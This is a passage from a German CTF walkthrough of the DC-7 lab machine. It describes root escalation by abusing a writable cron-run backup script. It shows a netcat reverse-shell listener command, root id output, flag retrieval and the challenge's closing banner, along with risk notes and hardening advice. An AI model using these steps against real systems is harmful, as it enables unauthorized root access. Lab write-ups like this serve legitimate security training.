  2. Warten Sie, bis der Cronjob das Skript `/opt/scripts/backups.sh` ausführt.
    Da das Skript von Cron als Root ausgeführt wird, wird die Reverse Shell mit Root-Rechten gestartet.
  3. Empfangen Sie die Reverse Shell auf dem Angreifer-System:
    ┌──(root㉿CCat)-[~]
    └─# nc -lvnp 4444
    Mit diesem Befehl wird ein Netcat-Listener auf Port 4444 gestartet, um die Reverse Shell zu empfangen.
  4. Überprüfen Sie, ob Sie Root-Rechte haben:
    /bin/sh: 0: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(root) groups=0(root)
    Die Ausgabe `# id` bestätigt, dass die Shell als Root ausgeführt wird.

Erwartetes Ergebnis

Nach erfolgreicher Ausführung des Cronjobs sollte eine Root-Shell auf dem Angreifer-System gestartet werden.

Beweismittel

Die Ausgabe des `id`-Befehls zeigt, dass die Shell als Root ausgeführt wird.

Risikobewertung

Die Möglichkeit, Cronjobs zu manipulieren, stellt ein erhebliches Sicherheitsrisiko dar, da es einem Angreifer ermöglicht, beliebigen Code als Root auszuführen.

Empfehlungen

  • Beschränken Sie die Schreibrechte für Dateien, die von Cronjobs ausgeführt werden.
  • Überprüfen Sie regelmäßig die Konfiguration der Cronjobs.
  • Verwenden Sie eine sicherere Methode zur Verwaltung von Backups.
# ls
html
cd ~ # ls
theflag.txt
# cat theflag.txt

Flags

cat root.txt
            
888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-7.  Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.

I'm sending out an especially big thanks to:

@4nqr34z
@D4mianWayne
@0xmzfr
@theart42

If you enjoyed this CTF, send me a tweet via @DCAU7.